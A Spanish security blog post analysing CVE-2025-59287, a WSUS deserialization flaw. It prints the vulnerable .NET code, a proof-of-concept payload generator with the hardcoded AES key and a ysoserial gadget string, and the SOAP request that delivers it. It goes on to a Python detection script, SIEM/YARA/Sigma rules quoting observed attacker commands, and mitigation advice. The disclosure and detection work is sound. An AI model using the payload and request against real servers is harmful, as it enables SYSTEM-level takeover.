CVE-2025-59287: Deserialización de Objetos .NET como Vector de RCE en WSUS.

Si gestionas infraestructuras Windows, CVE-2025-59287 debe ser tu máxima prioridad. Esta vulnerabilidad de deserialización insegura en Windows Server Update Services (WSUS) permite a atacantes no autenticados obtener control total con privilegios SYSTEM. Microsoft ha liberado un parche Out-of-Band (OOB) tras la aparición de PoCs funcionales.

¿Cómo Funciona la Vulnerabilidad?

El fallo es un ejemplo clásico de deserialización insegura. Se encuentra en el proceso interno de WSUS al manejar los mensajes SOAP (protocolo de comunicación web) enviados por los clientes.

El Vector de Ataque

El ataque se dirige al endpoint /ClientWebService/Client.asmx, específicamente al método GetCookie.

  1. El Paquete Falso: El atacante fabrica un objeto malicioso de .NET (código) y lo cifra. Este paquete se inserta en el campo <CookieData> de la petición SOAP.

  2. El Desliz del Código: El servidor WSUS recibe el mensaje y lo descifra. El error está en el código interno (la función DecryptData) que, al no reconocer el objeto descifrado como un tipo de cookie esperado, lo pasa sin validación estricta a la herramienta de deserialización: BinaryFormatter.Deserialize().

  3. Ejecución de Código (RCE): Esta herramienta de .NET, al intentar reconstruir el objeto, ejecuta el código malicioso incrustado en el payload. El resultado es el Control Remoto Total (RCE) con privilegios SYSTEM.

Análisis Técnico de la Vulnerabilidad

Mecanismo de Explotación
El fallo reside en el proceso interno de WSUS al manejar mensajes SOAP en el endpoint:

/ClientWebService/Client.asmx

Dicho ésto vamos a lo que nos interesa. La vulnerabilidad reside en la ruta de tratamiento de ciertas entradas externas (peticiones SOAP/HTTP que WSUS expone — específicamente en endpoints como /ClientWebService/Client.asmx y rutas relacionadas con SoftwareDistribution) donde WSUS recibe datos que contienen objetos serializados.

Entrada del Usuario
El usuario/envía una solicitud SOAP al endpoint GetCookie. Tras el procesamiento inicial, la ejecución llega aquí:

public Cookie GetCookie(AuthorizationCookie[] authCookies, Cookie oldCookie, 
                       DateTime lastChange, DateTime currentTime, string protocolVersion)
{
    if (Client.clientImplementation == null)
    {
        Client.CreateClientImplementation();
    }
    string ipaddress = this.GetIPAddress();
    return Client.clientImplementation.GetCookie(authCookies, oldCookie, lastChange, 
                                                currentTime, protocolVersion, ipaddress);
}

Como veis, se llama al método ClientImplementation.GetCookie. Este método realiza varias operaciones, como comprobar si la cookie está vacía e intenta analizar la versión del protocolo. Si todo funciona correctamente, pasa los datos al otro método: AuthorizationManager.GetCookie.

Procesamiento de Autorización
A continuación, procede al método CrackAuthorizationCookie, que verifica el ID del plugin proporcionado en la solicitud SOAP.

En UnencryptedAuthorizationCookieData y CrackAuthorizationCookie, verifica si la cookie está vacía y la pasa al método crítico DecryptData:

Método DecryptData Vulnerable

internal object DecryptData(byte[] cookieData)
{
    if (cookieData == null)
    {
        throw new LoggedArgumentNullException("cookieData");
    }
    
    // 1. Crear el descifrador AES-128-CBC
    ICryptoTransform cryptoTransform = this.cryptoServiceProvider.CreateDecryptor();
    byte[] array;
    
    try
    {
        // 2. Validación básica del tamaño del bloque
        if (cookieData.Length % cryptoTransform.InputBlockSize != 0 || 
            cookieData.Length <= cryptoTransform.InputBlockSize)
        {
            throw new LoggedArgumentException("Can't decrypt bogus cookieData", "cookieData");
        }
        
        // 3. Descifrado de los datos
        array = new byte[cookieData.Length - cryptoTransform.InputBlockSize];
        cryptoTransform.TransformBlock(cookieData, 0, cryptoTransform.InputBlockSize, 
                                      EncryptionHelper.scratchBuffer, 0);
        cryptoTransform.TransformBlock(cookieData, cryptoTransform.InputBlockSize, 
                                      cookieData.Length - cryptoTransform.InputBlockSize, array, 0);
    }
    finally
    {
        cryptoTransform.Dispose();
    }
    
    object obj = null;
    
    // DECISIÓN CRÍTICA: Dos caminos posibles
    if (this.classType == typeof(UnencryptedCookieData))
    {
        // Camino seguro: Deserialización controlada
        UnencryptedCookieData unencryptedCookieData = new UnencryptedCookieData();
        try
        {
            unencryptedCookieData.Deserialize(array);
        }
        catch (Exception ex)
        {
            if (ex is OutOfMemoryException) throw;
            throw new LoggedArgumentException(ex.ToString(), "cookieData");
        }
        obj = unencryptedCookieData;
    }
    else
    {
        // CAMINO VULNERABLE: Deserialización insegura
        BinaryFormatter binaryFormatter = new BinaryFormatter();
        MemoryStream memoryStream = new MemoryStream(array);
        
        try
        {
            // DESERIALIZACIÓN INSEGURA
            obj = binaryFormatter.Deserialize(memoryStream);
        }
        catch (Exception ex2)
        {
            if (ex2 is OutOfMemoryException) throw;
            throw new LoggedArgumentException(ex2.ToString(), "cookieData");
        }
        
        // VALIDACIÓN TARDÍA (demasiado tarde)
        if (obj.GetType() != this.classType)
        {
            throw new LoggedArgumentException("Decrypted cookie has the wrong data type", "cookieData");
        }
    }
    return obj;
}

Análisis del Punto Crítico

Este método procesa los datos de cookies cifrados mediante los siguientes pasos:

  1. Validación de entrada básica: Comprueba si cookieData es nulo y valida la alineación del tamaño del bloque.

  2. Descifrado: Utiliza AES-128-CBC mediante cryptoServiceProvider.CreateDecryptor().

  3. Procesamiento de bloques: Divide y transforma los datos cifrados en bloques descifrados.

  4. Comprobación de tipo: Determina si los datos son UnencryptedCookieData o requieren deserialización binaria.

  5. Deserialización insegura: Si no son UnencryptedCookieData, pasa los bytes descifrados directamente a BinaryFormatter.Deserialize().

  6. Validación tardía: Verifica el tipo DESPUÉS de la deserialización.

El problema fundamental: Entre los pasos 4 y 6, cualquier objeto .NET serializado puede ser instanciado y su código ejecutado antes de que se realice cualquier validación.

El Payload de HawkTrace

El código de HawkTrace genera un payload malicioso que explota esta vulnerabilidad:

static void Main()
{
    // Clave AES hardcodeada en WSUS
    string hexKey = "877C14E433638145AD21BD0C17393071";
    byte[] key = new byte[16];
    for (int i = 0; i < 16; i++)
        key[i] = Convert.ToByte(hexKey.Substring(i * 2, 2), 16);

    // Payload serializado de ysoserial que ejecuta "cmd /c calc"
    string ysooo = "AAEAAAD/////AQAAAAAAAAAMAgAAAElTeXN0ZW0sIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAACEAVN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLlNvcnRlZFNldGAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQQAAAAFQ291bnQIQ29tcGFyZXIHVmVyc2lvbgVJdGVtcwADAAYIjQFTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5Db21wYXJpc29uQ29tcGFyZXJgMVtbU3lzdGVtLlN0cmluZywgbXNjb3JsaWIsIFZlyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQ... [payload completo]";

    byte[] ser = Convert.FromBase64String(ysooo);
    byte[] enc = EncryptPayload(ser, key);
    string base64Payload = Convert.ToBase64String(enc);
    Console.WriteLine(base64Payload);
}

Efectivamente, el código anterior construye un objeto serializado (.NET BinaryFormatter) que, una vez descifrado y deserializado por el servidor vulnerable, ejecutaría código arbitrario a través de un gadget chain. En este caso invocaría Process.Start con la cadena cmd /c calc construido seguramente con ysoserial.

Explotación Final

Y el resultado habría que añadirlo aquí para entregarlo al servidor WSUS — el elemento <CookieData> dentro del AuthorizationCookie del método GetCookie:

POST /ClientWebService/Client.asmx HTTP/1.1
Host: WSUS-SERVER:8530
Content-Type: text/xml; charset=utf-8
SOAPAction: "http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService/GetCookie"
Content-Length: 3632

<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
  <soap:Body>
    <GetCookie xmlns="http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService">
      <authCookies>
        <AuthorizationCookie>
          <PlugInId>SimpleTargeting</PlugInId>
          <CookieData>[GENERATED PAYLOAD]</CookieData>
        </AuthorizationCookie>
      </authCookies>
      <oldCookie xsi:nil="true" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"/>
      <protocolVersion>1.20</protocolVersion>
    </GetCookie>
  </soap:Body>
</soap:Envelope>

Validación de Exposición

Para verificar si vuestro servidor es vulnerable, os ofrecemos dos métodos seguros y profesionales.

Escaneo de Vulnerabilidades

Las principales plataformas de gestión de vulnerabilidades ya han integrado la firma de este fallo.

  • Instrucción: Ejecutad un escaneo de vulnerabilidades actualizado con vuestra herramienta de elección (Nessus, Qualys, OpenVAS, etc.) apuntando a los puertos de WSUS (TCP 8530 o 8531).
  • Resultado a Buscar: Si el escáner reporta explícitamente el CVE-2025-59287 como no mitigado, vuestro servidor está comprometido y debéis parchear inmediatamente.

Detección Activa de Conectividad

Este script de Python realiza una verificación pasiva y es totalmente inofensivo. Simplemente confirma que el servidor WSUS está «escuchando» en el endpoint vulnerable. Si está escuchando y no ha sido parchado, la vulnerabilidad es real.

#!/usr/bin/env python3
"""
Detector CVE-2025-59287 - WSUS Deserialization Vulnerability
Author: Red-Orbita 
Descripción: Verifica si el servidor WSUS es realmente vulnerable
"""

import requests
import base64
import sys
import urllib3
from typing import Dict, Any

# Deshabilitar advertencias SSL para testing interno
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

class WSUSVulnerabilityDetector:
    def __init__(self, target: str, port: int = 8530):
        self.target = target
        self.port = port
        self.base_url = f"https://{target}:{port}"
        self.endpoint = f"{self.base_url}/ClientWebService/Client.asmx"
        self.session = requests.Session()
        self.session.verify = False
        self.timeout = 10
        
    def build_soap_request(self, payload_data: str = "test") -> str:
        """Construye petición SOAP para el método GetCookie"""
        return f'''<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"
               xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
               xmlns:xsd="http://www.w3.org/2001/XMLSchema">
    <soap:Body>
        <GetCookie xmlns="http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService">
            <cookieData>{payload_data}</cookieData>
        </GetCookie>
    </soap:Body>
</soap:Envelope>'''
    
    def check_service_availability(self) -> bool:
        """Verifica si el servicio WSUS está activo"""
        try:
            headers = {
                'User-Agent': 'WSUS Client',
                'Content-Type': 'text/xml; charset=utf-8'
            }
            
            response = self.session.get(
                f"{self.base_url}/ClientWebService/Client.asmx",
                headers=headers,
                timeout=self.timeout
            )
            return response.status_code == 200
        except Exception as e:
            print(f"Error conectando al servicio: {e}")
            return False
    
    def test_vulnerability_signature(self) -> Dict[str, Any]:
        """
        Testea comportamientos que indican vulnerabilidad
        Envía patrones que podrían revelar la deserialización insegura
        """
        results = {
            'service_available': False,
            'endpoint_accessible': False,
            'potential_vulnerability': False,
            'details': []
        }
        
        # Verificar disponibilidad básica
        if not self.check_service_availability():
            results['details'].append("Servicio WSUS no disponible")
            return results
        
        results['service_available'] = True
        
        # Probar con diferentes payloads de prueba
        test_payloads = [
            # Payload de serialización .NET básico (inofensivo)
            "AAEAAAD/////AQAAAAAAAAAEAQAAAClTeXN0ZW0uRGF0YS5EYXRhU2V0Q29udmVydGVyLCBWZXJzaW9uPTQu",
            # Payload vacío
            "",
            # Payload con formato incorrecto
            "INVALID_BASE64_DATA"
        ]
        
        headers = {
            'User-Agent': 'WSUS Client',
            'Content-Type': 'text/xml; charset=utf-8',
            'SOAPAction': 'http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService/GetCookie'
        }
        
        for i, payload in enumerate(test_payloads):
            try:
                soap_body = self.build_soap_request(payload)
                
                response = self.session.post(
                    self.endpoint,
                    data=soap_body,
                    headers=headers,
                    timeout=self.timeout
                )
                
                # Analizar respuesta para detectar vulnerabilidad
                if response.status_code == 200:
                    results['endpoint_accessible'] = True
                    
                    # Comportamientos sospechosos:
                    if "Exception" in response.text or "error" in response.text.lower():
                        # El servidor procesó pero tuvo error - podría ser vulnerable
                        if i == 0:  # Solo para el payload de serialización
                            results['potential_vulnerability'] = True
                            results['details'].append("Posible vulnerabilidad detectada: respuesta a payload serializado")
                    
                    elif "GetCookieResult" in response.text:
                        results['details'].append(f"Endpoint responde correctamente al payload {i+1}")
                        
            except requests.exceptions.RequestException as e:
                results['details'].append(f"Error en prueba {i+1}: {e}")
        
        return results
    
    def generate_report(self) -> None:
        """Genera reporte completo de evaluación"""
        print(f"\nEvaluando WSUS: {self.target}:{self.port}")
        print("=" * 50)
        
        results = self.test_vulnerability_signature()
        
        print(f"Servicio disponible: {results['service_available']}")
        print(f"Endpoint accesible: {results['endpoint_accessible']}")
        print(f"Vulnerabilidad potencial: {results['potential_vulnerability']}")
        
        print("\nDetalles:")
        for detail in results['details']:
            print(f"   • {detail}")
        
        # Recomendaciones basadas en resultados
        print("\nRecomendaciones:")
        if results['potential_vulnerability']:
            print("SERVIDOR POTENCIALMENTE VULNERABLE - APLICAR PARCHE INMEDIATAMENTE")
        elif results['service_available']:
            print("Servicio activo - Verificar versión y aplicar parches preventivos")
        else:
            print("Servicio no accesible - Verificar conectividad")
        
        print("=" * 50)

def main():
    if len(sys.argv) != 2:
        print("Uso: python wsus_scanner.py <servidor_wsus>")
        print("Ejemplo: python wsus_scanner.py wsus.midominio.local")
        sys.exit(1)
    
    target = sys.argv[1]
    
    # Probar puertos comunes de WSUS
    ports = [8530, 8531, 443]
    
    for port in ports:
        detector = WSUSVulnerabilityDetector(target, port)
        detector.generate_report()

if __name__ == "__main__":
    main()

Poc Exploit:

Guía de Detección (SIEM & EDR)

Para identificar intentos de explotación, debéis buscar la firma del payload serializado en la red y la ejecución anómala de comandos en el host.

Detección en Red (Tráfico SOAP)

Buscad peticiones POST al endpoint vulnerable que contengan la firma Base64 de la deserialización de .NET (AAEAAAD/////).

Regla Específica para Splunk (SPL)

Esta regla busca en los logs de acceso web (asumiendo que los datos están en el campo body) peticiones POST dirigidas a la URL exacta y que contienen la firma del payload

index=web sourcetype=iis (uri_path="/ClientWebService/Client.asmx") 
| search method="POST" AND (body="AAEAAAD/////")
| eval AlertName="WSUS RCE Attempt - CVE-2025-59287 Deserialization Signature"
| table _time, src_ip, dest_ip, uri_path, body, AlertName

 Regla Específica para Wazuh (XML)

Esta regla se activa si se alcanza el endpoint (id="100010") y luego verifica la presencia de la firma de deserialización en el payload (id="100011"). 

<rule id="100010" level="10" maxsize="4096">
  <if_sid>31100</if_sid> <field name="url">/ClientWebService/Client.asmx</field>
  <description>WSUS RCE Attempt (CVE-2025-59287) - Target Endpoint Hit.</description>
</rule>

<rule id="100011" level="14" maxsize="4096">
  <if_sid>100010</if_sid> <match type="payload">AAEAAAD/////</match> <description>**CRÍTICA:** WSUS RCE Payload Injection Attempt (CVE-2025-59287) detected.</description>
  <group>attack,rce,cve</group>
</rule>

Regla Específica ElastciSearch

{
  "query": {
    "bool": {
      "must": [
        {
          "wildcard": {
            "url": "*ClientWebService/Client.asmx"
          }
        },
        {
          "match": {
            "http.request.method": "POST"
          }
        },
        {
          "wildcard": {
            "http.request.body.content": "*AAEAAAD/////*"
          }
        }
      ],
      "filter": [
        {
          "range": {
            "@timestamp": {
              "gte": "now-1h"
            }
          }
        }
      ]
    }
  }
}

Este formato es estándar y puede traducirse a múltiples plataformas (ElasticSearch, Microsoft Sentinel, etc.).

 

title: WSUS RCE Attempt via Deserialization (CVE-2025-59287)
id: 59287-wsus-rce-soap-injection
status: stable
description: Detects attempts to exploit the WSUS deserialization vulnerability by identifying SOAP POST requests containing the .NET BinaryFormatter payload signature in the body.
references:
    - https://red-orbita.com/
author: Red-Orbita
date: 2025/10/27
logsource:
    category: webserver
detection:
    selection_url:
        # Busca el endpoint ClientWebService/Client.asmx
        url|contains: '/ClientWebService/Client.asmx'
    selection_method:
        # El ataque siempre usa el método POST
        method: 'POST'
    selection_payload:
        # Firma Base64 del inicio de un objeto serializado de .NET
        body|contains: 'AAEAAAD/////'
    condition: all of selection_*
falsepositives:
    - Highly unlikely due to the unique serialized object signature.
level: critical
tags:
    - attack.rce
    - cve.2025.59287
    - service.wsus

Regla YARA para Detección de Exploits:

 
rule WSUS_CVE_2025_59287_Exploit {
    meta:
        description = "Detects CVE-2025-59287 WSUS exploit attempts"
        author = "Red-Orbita SOC"
        date = "2025-10-27"
        severity = "CRITICAL"
    
    strings:
        $soap_endpoint = "/ClientWebService/Client.asmx" ascii
        $soap_action = "GetCookie" ascii
        $net_serialized = { 00 01 00 00 00 FF FF FF FF }  // Header serialización .NET
        
    condition:
        all of them and filesize < 100KB
}

Regla YARA para Detección de Exploits:

rule EXPL_WSUS_Exploitation_Indicators_Oct25 {
   meta:
      description = "Detects indicators related to the exploitation of the Windows Server Update Services (WSUS) Remote Code Execution Vulnerability (CVE-2025-59287)"
      author = "Florian Roth"
      reference = "https://www.huntress.com/blog/exploitation-of-windows-server-update-services-remote-code-execution-vulnerability"
      date = "2025-10-25"
      score = 75
   strings:
      // Error traceback found in C:\Program Files\Update Services\Logfiles\SoftwareDistribution.log
      $sl1 = "at System.Data.DataSet.DeserializeDataSetSchema(SerializationInfo info, StreamingContext context" ascii wide
      $sl2 = "at System.Runtime.Serialization.ObjectManager.DoFixups()" ascii wide
      $sl3 = "at System.Runtime.Serialization.ObjectManager.CompleteISerializableObject" ascii wide
      $sl4 = "System.Reflection.TargetInvocationException: Exception has been thrown by the target of an invocation." ascii wide
      $sl5 = "ErrorWsusService.9HmtWebServices.CheckReportingWebServiceReporting WebService WebException:System.Net.WebException: Unable to connect to the remote server" ascii wide

      // Encoded PowerShell command observed in exploitation attempts
      $se1 = "powershell -ec try{$r= (&{echo https://" ascii wide base64 base64wide
      $se2 = ":8531; net user /domain; ipconfig " ascii wide base64 base64wide

      // Commands observed in follow-up activity
      $sa1 = "whoami;net user /domain" ascii wide base64 base64wide
      $sa2 = "net user /domain; ipconfig /all" ascii wide base64 base64wide
   condition:
      all of ($sl*)
      or 1 of ($se*)
      or all of ($sa*)
}

Detección en Host (Sysmon: La Ejecución)

Monitoread los procesos de WSUS para detectar la ejecución de shells o binarios maliciosos.

index=sysmon EventID=1
| where Image IN ("*\\cmd.exe","*\\calc.exe","*\\powershell.exe")
| where ParentImage IN ("*\\w3wp.exe","*\\WsusService.exe","*\\svchost.exe")
| stats count by Computer, Image, ParentImage, CommandLine, _time

Acción Inmediata de Mitigación

  • Parchear Ahora Mismo: Aplicad el parche Out-of-Band (OOB) de Microsoft para WSUS (buscad la actualización de seguridad de octubre de 2025). Es la única forma de eliminar la causa raíz.

  • Segmentación Extrema: Aseguraos de que los puertos de WSUS (TCP 8530 y 8531) NUNCA estén expuestos a Internet. Restringid su acceso únicamente a los clientes internos y servidores de la organización.

  • Monitoreo Reforzado: Elevad el nivel de logging para los procesos hijos de WSUS y monitoread cualquier conexión saliente inusual en el servidor.

:wq!

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *